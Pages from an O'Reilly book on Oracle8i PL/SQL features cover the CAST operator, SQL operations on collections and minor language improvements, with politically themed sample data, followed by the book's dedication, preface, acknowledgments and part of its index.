DATE | ✓ |  | ✓ |  |  |
RAW | ✓ |  |  | ✓ |  |
ROWID, UROWID | ✓ |  |  |  | ✓[1] |
NCHAR, NVARCHAR2 |  | ✓ | ✓ | ✓ | ✓ | ✓

[1] You can't cast a UROWID to a ROWID if the UROWID contains the value of a ROWID of an index-organized table.

Note the following about using CAST:

  • CAST does not support LONG, LONG RAW, or any of the LOB datatypes.

  • If the UROWID contains the value of a ROWID of an index-organized table, you cannot cast that UROWID to a ROWID.

  • To cast a named collection type into another named collection type, the elements of both collections must be of the same TYPE.

  • If the result set of a subquery can evaluate to multiple rows, you must specify the MULTISET keyword. The rows resulting from the subquery form the elements of the collection value into which they are cast. Without the MULTISET keyword, the subquery is treated as a scalar subquery, which is not supported in the CAST expression. In other words, scalar subqueries as arguments of the CAST operator are not valid in Oracle8i.

  • In many cases, you will not be able to use CAST directly within PL/SQL. It is primarily a SQL operator.

Let's take a look at some examples (you will find all of these grouped together in the cast.sql file on the disk).

10.3.2.1 Built-in datatype examples

You can use CAST instead of other datatype conversion functions:

/* Filename on companion disk: cast.sql */
BEGIN
   /* CAST for TO_DATE...no way to pass format mask.
      Instead, the database default or session setting of
      NLS_DATE_FORMAT is used. */
   DBMS_OUTPUT.PUT_LINE (CAST ('10-JAN-99' AS DATE));

   /* CAST as TO_NUMBER...no way to pass format mask.  */
   DBMS_OUTPUT.PUT_LINE (CAST ('107898888' AS NUMBER));
END;
/

As noted, there isn't any way to include a format mask with which to drive the conversion. If I use a different format for my date string, I get an error:

SQL>
  1  BEGIN
  2     DBMS_OUTPUT.PUT_LINE (
  3        CAST ('1/1/99' AS DATE));
  4* END;
  5  /

ERROR at line 1:
ORA-01843: not a valid month

I can use CAST to convert a ROWID to a string as follows:

SQL> SELECT CAST (ROWID AS VARCHAR2(20)) Vrowid
       FROM department;

VROWID
--------------------
AAADIKAACAAAAMeAAA
AAADIKAACAAAAMeAAB
AAADIKAACAAAAMeAAC
AAADIKAACAAAAMeAAD

Yet I cannot run this same query inside PL/SQL:

SQL> DECLARE
  2     my_rowid VARCHAR2(20);
  3  BEGIN
  4     FOR rec IN (
  5        SELECT CAST (ROWID AS VARCHAR2(20)) Vrowid
  6          FROM department)
  7     LOOP
  8        DBMS_OUTPUT.PUT_LINE (rec.Vrowid);
  9     END LOOP;
 10  END;
 11  /
ERROR at line 1:
PLS-00220: simple name required in this context

So I am not sure how useful CAST will ever be for PL/SQL developers for conversion of scalar datatypes.

10.3.2.2 Collection examples

CAST will almost certainly come in very handy when you want to convert between types of collections, or if you want to convert a subquery directly into a collection.

To demonstrate these capabilities, I will use the following structures (see cast.sql for all of these statements and the actual exercises):

/* Filename on companion disk: cast.sql */
CREATE TYPE address_t AS OBJECT
   (street VARCHAR2(100), city VARCHAR2(100));
/
CREATE TYPE address_book_t AS TABLE OF address_t;
/
CREATE TYPE address_array_t AS VARRAY(3) OF address_t;
/
CREATE TABLE addresses OF address_t;

INSERT INTO addresses VALUES (
    address_t('19th St', 'St. Louis'));
INSERT INTO addresses VALUES (
    address_t('Biglanes Blvd', 'Dallas'));
INSERT INTO addresses VALUES (
    address_t('Upanddown Lane', 'San Francisco'));

I now have a nested table, variable array, and database table all with the same structure. I can then use CAST -- along with the MULTISET operator in SQL -- to move between the different structures.

Suppose, for example, that I have a nested table declared in PL/SQL, and I want to move that to a VARRAY. Here are the steps I would take:

/* Filename on companion disk: cast.sql */
DECLARE
   addr_varray address_array_t;

   addr_ntable address_book_t :=
      address_book_t (
         address_t('Madison Ave', 'Chicago'),
         address_t('Devon Ave', 'Chicago'));
BEGIN
   SELECT CAST (addr_ntable AS address_array_t)
     INTO addr_varray
     FROM dual;

I would love to be able to do this:

addr_varray := CAST (addr_ntable AS address_array_t); /* INVALID! */

Unfortunately, the CAST operator cannot be used directly (natively) in PL/SQL to operate on collections.

I can also transform the result set of a query into a nested table or VARRAY using CAST and MULTISET, as shown in the following:

/* Filename on companion disk: cast.sql */
DECLARE
   addr_varray address_array_t;
BEGIN
   SELECT CAST (MULTISET (
             SELECT street, city
               FROM addresses p
              ORDER BY city)
       AS address_array_t)
     INTO addr_varray
     FROM dual;

Notice that I have included an ORDER BY in my query; it will generally be much more efficient to rely on SQL to do your sorting before moving your data to a PL/SQL structure.

Previous: 10.2 Calling Packaged Functions in SQL | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 10.4 SQL Operations on Collections
10.2 Calling Packaged Functions in SQL | Book Index | 10.4 SQL Operations on Collections
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.4 SQL Operations on Collections

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

10.4 SQL Operations on Collections

In Oracle 8.1, you can now more easily use SQL to operate on PL/SQL collections (nested tables and variable arrays). This feature, built upon the CAST operator, allows you to employ SQL capabilities against data stored in such structures, and also to integrate data in these collections with data in tables.

Here is the syntax needed to reference a collection inside a query:

SELECT column_list
  FROM TABLE (CAST (
       collection AS collection_type))
       [collection_alias]

Where collection is a collection declared in a PL/SQL block, collection_type is the TYPE from which the collection is declared, and collection_alias is an optional alias for the collection-cast-into-table.

column_list is a list of expressions returned by the query. If the collection TYPE is a nested table or variable array based on a scalar, then column_list must be the keyword COLUMN_VALUE, as shown:

SELECT COLUMN_VALUE FROM TABLE (CAST ...);

If the collection is based on an object, then the column list can directly reference individual elements of the object by name.

Let's look at a few examples. I will create a type of nested table and a database table to use in the scripts (see collsql.sql for the full set of steps):

/* Filename on companion disk: collsql.sql */
CREATE TYPE cutbacks_for_taxcuts AS TABLE OF VARCHAR2(100);
/
CREATE TABLE lobbying_results (
   activity VARCHAR2(200));

INSERT INTO lobbying_results
   VALUES ('No tax on stock transactions');
INSERT INTO lobbying_results
   VALUES ('Cut city income taxes');

Then I can merge the data for these two structures together, as follows:

/* Filename on companion disk: collsql.sql */
DECLARE
   nyc_devolution cutbacks_for_taxcuts :=
      cutbacks_for_taxcuts (
         'Stop rat extermination programs',
         'Fire building inspectors',
         'Close public hospitals');
BEGIN
   DBMS_OUTPUT.PUT_LINE (
      'How to Make the NYC Rich Much, Much Richer:');
   FOR rec IN (
      SELECT COLUMN_VALUE ohmy
        FROM TABLE (CAST (
               nyc_devolution AS cutbacks_for_taxcuts))
      UNION
      SELECT activity FROM lobbying_results)
   LOOP
      DBMS_OUTPUT.PUT_LINE (rec.ohmy);
   END LOOP;
END;
/

And out comes the following data:

How to Make the NYC Rich Much, Much Richer:
Close public hospitals
Cut city income taxes
Fire building inspectors
No tax on stock transactions
Stop rat extermination programs

As you can see, the data is sorted, as will happen automatically with a UNION.

Now let's try this capability with a nested table of objects (see collsql2.sql ):

CREATE TYPE labor_source AS OBJECT
  (labor_type VARCHAR2(30), hourly_rate NUMBER);
/
CREATE TYPE union_busters AS TABLE OF labor_source;
/

In the following block, I query both members of the object individually, employing an ORDER BY clause to rearrange the data:

/* Filename on companion disk: collsql2.sql */
DECLARE
   low_wage_pressure union_busters :=
      union_busters (
         labor_source ('Workfare', 0),
         labor_source ('Prisoner', '5'));
BEGIN
   FOR rec IN (
      SELECT labor_type, hourly_rate
        FROM TABLE (
           CAST (low_wage_pressure AS union_busters))
       ORDER BY labor_type)
   LOOP
      DBMS_OUTPUT.PUT_LINE (
         rec.labor_type || '-$' || rec.hourly_rate);
   END LOOP;
END;
/

And we see this output:

Prisoner-$5
Workfare-$0

Previous: 10.3 SQL99 Compliance | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 10.5 Miscellaneous and Minor Improvements
10.3 SQL99 Compliance | Book Index | 10.5 Miscellaneous and Minor Improvements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.5 Miscellaneous and Minor Improvements

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

10.5 Miscellaneous and Minor Improvements

The Oracle PL/SQL development team has been busy! In addition to all of the other features covered in this and other chapters, they have also improved PL/SQL in the following ways:

  • Optimization of the STANDARD package's built-in programs. A lot of our code calls these low-level programs (TO_CHAR, SUBSTR, INSTR, etc.), so Oracle has focused on improving the performance of this package.

  • Faster anonymous block execution.

  • Faster RPC parameter passing.

  • Caching of dynamic link libraries (DLLs) for improved external procedure performance. External procedures can now cache up to 10 DLLs in a session; subsequent calls to a C function in a cached DLL will not cause the DLL to be reloaded.

And there's more!

10.5.1 Dramatically Higher Limits on Body Size

You will also be very glad to know that the maximum size of package and object type bodies is now greatly increased. Prior to Oracle8i, the limitation on program size was determined by the maximum number of nodes supported in internal parsing tree structures: 215. This translated to a maximum byte size of approximately 128K (sometimes much less).

With Oracle8i, the compiler will now support up to 226 nodes in its internal tree structure, giving us room to grow our code to something like 16MB! Of course, we will probably hit other limits before our code gets to be that large anyway.

10.5.2 Improved ORA-06502 Error Messages

Oh, that annoying ORA-06502 error! How many times have we seen this message:

ORA-06502: numeric or value error

only to wonder whether the error was caused by an attempt to put too large a string into a character variable or an attempt to stuff a non-numeric value into a numeric variable?

Now, the PL/SQL runtime engine will let you know for sure:

/* Filename on companion disk: ora6502.sql */
DECLARE
   this_world VARCHAR2(5);
BEGIN
   /* No room for justice... */
   this_world := 'Justice';
END;
/

ORA-06502: PL/SQL: numeric or value error:
   character string buffer too small

DECLARE
   bills_fortune NUMBER;
BEGIN
   bills_fortune := 'UNIMAGINABLE';
END;
/

ORA-06502: PL/SQL: numeric or value error: character to number conversion error

Previous: 10.4 SQL Operations on Collections | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: A. Appendix: What's on the Companion Disk?
10.4 SQL Operations on Collections | Book Index | A. Appendix: What's on the Companion Disk?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Programming Guide to Oracle8i Features

By Steven Feuerstein; ISBN 1-56592-675-7E
First Edition, published 1999-10-01.
(See the catalog page for this book.)

Search the text of Oracle PL/SQL Programming Guide to Oracle8i Features.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Dedication
Preface
Chapter 1: Oracle8i: A Bounty for PL/SQL Developers
Chapter 2: Choose Your Transaction!
Chapter 3: Invoker Rights: Your Schema or Mine?
Chapter 4: Native Dynamic SQL in Oracle8i
Chapter 5: Bulking Up with PL/SQL 8.1
Chapter 6: New Trigger Features in Oracle8i
Chapter 7: New and Enhanced Built-in Packages in Oracle8i
Chapter 8: Deploying Fine-Grained Access Control
Chapter 9: Calling Java from PL/SQL
Chapter 10: More Goodies for Oracle8i PL/SQL Developers

Appendix A: Appendix: What's on the Companion Disk?

The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Dedication

I dedicate this book to the thousands of unjustly incarcerated men and women -- particularly those on Death Row (and of those, particularly Mumia Abu-Jamal) -- trapped in the vast prison system of the United States. Perhaps one day justice will truly be blind in this great nation -- blind to the color of a person's skin and blind to the power they hold or lack.

-- Steven Feuerstein

Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: Preface
Book Index | Preface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Preface

Contents:
Structure of This Book
About the Examples
About the Disk
Conventions Used in This Book
How to Contact Us
Acknowledgments

2700 pages and still writing! Sometimes I feel like the Energizer Bunny of PL/SQL. But Oracle keeps the features coming, and after all these years, I'm still enthusiastic about what PL/SQL can do to improve the quality of life for developers. Even with the coming of Java(TM) in Oracle8i, I believe strongly that the future is bright for PL/SQL developers.

This short book is something of a departure for me -- those of you who have read my larger tomes may wonder if I've found a ghostwriter! Now that Oracle8i is here, it's my intention to update Oracle PL/SQL Programming (now in its second edition) to cover the new version of the Oracle database. Along with developing a third edition of that book (with my coauthor Bill Pribyl), I'm taking a critical look at all of my books to make sure that the O'Reilly & Associates PL/SQL series offers a comprehensive resource for PL/SQL developers.

For now, though, PL/SQL developers need current and useful information about the latest PL/SQL features; there are a lot of them, and some represent major changes in the language. This small book is intended to get you started on understanding these features and using them to best advantage.

For many people, the big news about Oracle8i is Java, and the big question for many PL/SQL developers is how (and whether) to use Java in conjunction with PL/SQL. Chapter 9, Calling Java from PL/SQL, is a roadmap showing PL/SQL developers how to employ Java right now. It doesn't attempt to teach you the basics of Java -- there are many other books that serve that purpose -- but it does teach you how to access Java from within PL/SQL.

Structure of This Book

This book is divided into ten chapters and one appendix, as follows.

Chapter 1, Oracle8i: A Bounty for PL/SQL Developers, introduces Oracle8i and summarizes the new PL/SQL-related features.

Chapter 2, Choose Your Transaction!, describes autonomous transactions. This feature lets PL/SQL developers execute and then save or cancel certain statements without affecting the overall session's transaction.

Chapter 3, Invoker Rights: Your Schema or Mine? , describes a new feature of PL/SQL that lets you decide at the time of compilation whether a program, or all of the programs in a package, should run under the authority of the definer or the invoker of the program.

Chapter 4, Native Dynamic SQL in Oracle8i, unveils a powerful replacement for (or at least an alternative to) the use of the DBMS_SQL built-in package.

Chapter 5, Bulking Up with PL/SQL 8.1, describes bulk binds and collects. Bulk binds let you bundle DML operations (via the new FORALL statement) for bulk passing to the SQL layer; bulk collects let you retrieve multiple rows with an absolute minimum of context switches.

Chapter 6, New Trigger Features in Oracle8i, discusses how Oracle8i has expanded the use of triggers to perform database- and schema-level operations and "publish" information about events taking place within the database.

Chapter 7, New and Enhanced Built-in Packages in Oracle8i, describes the new built-in packages available in Oracle8i and discusses changes to existing packages.

Chapter 8, Deploying Fine-Grained Access Control, examines a new Oracle8i feature that allows you to implement security policies with functions and then use those policies to implement row-level security on tables and views.

Chapter 9, takes a look at what many people think is the most exciting feature of Oracle8i -- the interface to Java. This chapter focuses on how you can call Java stored procedures ( JSPs) from within PL/SQL.

Chapter 10, More Goodies for Oracle8i PL/SQL Developers, describes a variety of new features and performance improvements that don't fit into any other category.

The appendix, What's on the Companion Disk?, explains how to install and use the software on the companion diskette.

Previous: Dedication | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: About the Examples
Dedication | Book Index | About the Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About the Examples

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

About the Examples

I've been writing intensively about PL/SQL since 1994, and I have had a great time doing it. At the same time, I must admit that I have simultaneously grown a little bit bored with using the same set of examples again and again (yes, those infamous emp/employee and dept/department tables), and very concerned about the state of the world as we approach the end of the twentieth century. Sure, things could be worse, but things could be a whole lot better (with my examples and the world).

Given these twin preoccupations, I have decided to offer examples that are decidedly different from the usual. I'll be talking about topics ranging from the state of health care in the United States to the strength of the gun lobby, from wage structures to environmental issues. I believe that even if you don't agree with the positions I have on a particular issue, you will find that this "breath of fresh air" approach will help you engage with the technical material.

I would also be very happy to hear from you -- whether you agree or disagree! -- and I encourage you to visit my web site, at http://www.StevenFeuerstein.com, where you can read more about my life and viewpoints and can get in touch.

Previous: Structure of This Book | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: About the Disk
Structure of This Book | Book Index | About the Disk
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About the Disk

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

About the Disk

The content of the companion PC disk that accompanies this book has been included on this CD, in the /guide8i/disk/ directory. It contains the Companion Utilities Reference for the Guide to Oracle8i Features, an online tool developed by RevealNet, Inc., that gives you point-and-click access to the source code I developed while writing this book. (Many of the code examples are also printed in the book.) I've included this code to give you a jump start on writing your own Oracle8i PL /SQL code and to keep you from having to type many pages of PL /SQL statements from printed text.

In addition to the code examples, I've included a trimmed-down version of the PLVtmr package. I use this package in my testing of program performance. This package is part of the RevealNet PL/Vision code library. You can download the free, Lite version of PL/Vision or try out a fully functioned Professional version by visiting http://www.revealnet.com. The version of PLVtmr on the companion disk can be installed independently of the rest of PL/Vision.

The appendix, Appendix A, Appendix: What's on the Companion Disk?, describes how to install the Windows-based Companion Reference. You can run the software in any Microsoft Windows environment. If you are working in a non-Windows environment, you can obtain a compressed file containing the utilities on the disk from the RevealNet PL /SQL Pipeline Archives at http://www.revealnet.com/plsql-pipeline.

Previous: About the Examples | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: Conventions Used in This Book
About the Examples | Book Index | Conventions Used in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Conventions Used in This Book

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

Conventions Used in This Book

The following conventions are used in this book:

Italic

Used for file and directory names and URLs, and for the first mention of new terms under discussion.

Constant width

Used for code examples.

Constant width bold

In some code examples, highlights the statements being discussed.

Constant width italic

In some code examples, indicates an element (e.g., a filename) that you supply.

UPPERCASE

In code examples, indicates PL /SQL keywords.

lowercase

In code examples, indicates user-defined items like variables and parameters.

Punctuation

In code examples, enter exactly as shown.

Indentation

In code examples, helps to show structure (but is not required).

--

In code examples, a double hyphen begins a single-line comment, which extends to the end of a line.

/* and */

In code examples, these characters delimit a multiline comment, which can extend from one line to another.

.

In code examples and related discussions, a dot qualifies a reference by separating an object name from a component name. For example, dot notation is used to select fields in a record and to specify declarations within a package.

...

In code examples, an ellipsis indicates code that's been omitted because it's not relevant to the discussion.

[ ]

In syntax descriptions, square brackets enclose optional items.

{ }

In syntax descriptions, curly brackets enclose a set of items; you must choose only one of them.

|

In syntax descriptions, a vertical bar separates the items enclosed in curly brackets, for example, {IN | OUT | IN OUT }.

TIP: Indicates a tip, suggestion, or general note. For example, I'll tell you if you need to use a particular Oracle version or if an operation requires certain privileges.

WARNING: Indicates a warning or caution. For example, I'll tell you if Oracle does not behave as you'd expect or if a particular operation has a negative impact on performance.

Previous: About the Disk | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: How to Contact Us
About the Disk | Book Index | How to Contact Us
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] How to Contact Us

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

How to Contact Us

We have tested and verified the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
800-998-9938 (in the U.S. or Canada)
707-829-0515 (international or local)
707-829-0104 (fax)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

We have a web site for the book, where we'll list examples, errata, and any plans for future editions. You can access this page at:

http://www.oreilly.com/catalog/ornewfeatures/

For more information about this book and others, see the O'Reilly web site:

http://www.oreilly.com

See the ads at the end of the book for information about all of O'Reilly & Associates' online services.

If you have any questions about the disk supplied with this book, contact RevealNet at http://www.revealnet.com.

As I mentioned, you can also contact me directly at my own web site at http://www.StevenFeuerstein.com.

Previous: Conventions Used in This Book | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: Acknowledgments
Conventions Used in This Book | Book Index | Acknowledgments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Acknowledgments

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

Acknowledgments

This may be the smallest book I have ever written, but that doesn't mean I didn't need any help getting it done! A number of Oracle professionals took time out of their busy schedules to review various chapters, and I am deeply grateful to each and every one of you for your efforts: Richard Bolz, Darryl Hurley, Dwayne King, Vadim Loevski, Vasanthi Nagareddi, Rudresh J. Rana, Chuck Sisk, Kasu Sista, and Solomon Yakobson. Bill Pribyl, my coauthor on Oracle PL/SQL Programming, read every chapter closely and identified numerous opportunities to improve the text -- thanks, Bill! The Oracle PL/SQL development team improved the quality of this book through their feedback and prompt responses to my inquiries; many thanks to Usha Sangam and the other developers out at Oracle HQ who looked over this text: Chandrasekharan Iyer, Neil Le, Kannan Muthukkaruppan, Chris Racicot, Ajay Sethi, and Ian Stocks.

On the O'Reilly side of the aisle, this book was shaped and guided to publication by my friend and editor, Deborah Russell. We've been working together since 1994, and she never fails to impress me with her devotion to the Oracle line at O'Reilly and her insights on how to tighten up and focus a technical book. Steve Abrams of O'Reilly also worked hard to get this book done on time and to support both my writing and training activity.

1999 has been a long, intense year for me (and it sure ain't over yet!). I have been reminded of how important it is to lead a balanced life and to live it fully. Man (this man) does not live by PL/SQL alone. As I begin to cruise through my 40s, publish my fourth full-length text on PL/SQL, and put finishing touches on my fifth (Oracle PL/SQL Programming: Developer's Workbook), I thank my wife, Veva Silva, and my children, Chris and Eli, for the continual flow of challenges and happiness into my life.

Previous: How to Contact Us | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 1. Oracle8i: A Bounty for PL/SQL Developers
How to Contact Us | Book Index | 1. Oracle8i: A Bounty for PL/SQL Developers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: Symbols and Numbers

%BULK_ROWCOUNT structure
4.3. Multirow Queries with Cursor Variables
5.4. Using Cursor Attributes
%FOUND cursor attribute
4.3. Multirow Queries with Cursor Variables
5.4. Using Cursor Attributes
%ISOPEN cursor attribute
4.3. Multirow Queries with Cursor Variables
5.4. Using Cursor Attributes
%NOTFOUND cursor attribute
4.3. Multirow Queries with Cursor Variables
5.4. Using Cursor Attributes
%ROWCOUNT cursor attribute
4.3. Multirow Queries with Cursor Variables
5.4. Using Cursor Attributes
-andresolve, loadjava option : 9.4. Using loadjava
-debug, loadjava option : 9.4. Using loadjava
-definer, loadjava option : 9.4. Using loadjava
-encoding, loadjava option : 9.4. Using loadjava
-force, loadjava option : 9.4. Using loadjava
-grant, loadjava option : 9.4. Using loadjava
-oci8, dropjava option : 9.5. Using dropjava
-oci8, loadjava option : 9.4. Using loadjava
-oracleresolver, loadjava option : 9.4. Using loadjava
-resolve, loadjava option : 9.4. Using loadjava
-resolver, loadjava option : 9.4. Using loadjava
-schema, dropjava option : 9.5. Using dropjava
-schema, loadvaja option : 9.4. Using loadjava
-synonym, loadjava option : 9.4. Using loadjava
-thin, dropjava option : 9.5. Using dropjava
-thin, loadjava entry : 9.4. Using loadjava
-verbose, dropjava option : 9.5. Using dropjava
-verbose, loadjava entry : 9.4. Using loadjava
.class files : 9.2. Getting Ready to Use Java in Oracle
.jar files : 9.2. Getting Ready to Use Java in Oracle
.sqlj files : 9.4. Using loadjava
:host_cursor_variable, OPEN FOR statement : 4.2.2. The OPEN FOR Statement

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: A

access control, system level : 7.6.2. System-Level Access Control
ACID principle : 2.1. Transaction Management in PL/SQL
ACTIVE_INSTANCES function, DBMS_UTILITY package : 7.7.2. ACTIVE_INSTANCES: Returning a List of Active Instances
ADD_POLICY procedure, DBMS_RLS package : 7.3.4. ADD_POLICY: Adding a Policy
ADD_SUBSCRIBER procedure, DBMS_AQADM package : 7.6.4.1. Rule-based subscribers
admin_option parameter, GRANT_SYSTEM_PRIVILEGE procedure : 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges
ADMINISTER DATABASE TRIGGER system privilege : 6.2. Database-Level Event Triggers
Advanced Queuing (AQ) facility
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.2.1.2. Tracking logins to the database
7.6. New DBMS_AQ and DBMS_AQADM Features
AFTER context, triggers : 6.2. Database-Level Event Triggers
AFTER STARTUP triggers : 6.2. Database-Level Event Triggers
aliases, table names : 7.3.4. ADD_POLICY: Adding a Policy
ALL option, GRANT_QUEUE_PRIVILEGE procedure : 7.6.3.2. REVOKE_QUEUE_PRIVILEGE: Revoking queue-level privileges
ALL_CONTEXT data dictionary view : 8.4.3. Context Data Dictionary Views
ALL_ERRORS data dictionary view : 9.6.2. Examining Loaded Java Elements
ALL_OBJECTS data dictionary view : 9.6.2. Examining Loaded Java Elements
ALL_POLICIES data dictionary view : 8.4.3. Context Data Dictionary Views
ALTER command
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i)
6. New Trigger Features in Oracle8i
6.3. Schema-Level Event Triggers
7.2.3. Controlling Trace File Contents
ALTER JAVA statement : 9.1. Oracle8i and Java
anonymous blocks
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
10.5. Miscellaneous and Minor Improvements
APIs (application programming interfaces)
7.1. DBMS_PROFILER: Providing Code Profiling
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL)
7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility
aq.sql file : 6.2.1.2. Tracking logins to the database
AQ_USER_ROLE : 7.6.2. System-Level Access Control
aqlisten.sql file : 7.6.4.2. LISTEN: Listening for messages
AUTHID CURRENT_USER clause
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? )
3.2.1. Invoker Rights Syntax
AUTHID DEFINER clause : 3.2.2. Some Rules and Restrictions
autonomous blocks, definition : 2.4. Rules and Restrictions
autonomous transactions
6.2. Database-Level Event Triggers
1.1. What's in Oracle8i Release 8.1?
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!)
autonomous logging mechanism example : 2.5.1. Building an Autonomous Logging Mechanism
database triggers example : 2.5.2. Using Autonomous Transactions in a Database Trigger
definition : 2.2. Defining Autonomous Transactions
retry counter example : 2.5.3. Building a Retry Counter
rules and restrictions : 2.4. Rules and Restrictions
transaction management : 2.1. Transaction Management in PL/SQL
transaction visibility : 2.4.2. Transaction Visibility
using within SQL : 2.4.1. Using Autonomous Transactions from Within SQL
when to use : 2.3. When to Use Autonomous Transactions

Symbols | A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

TITLE OF BOOKSearch this book

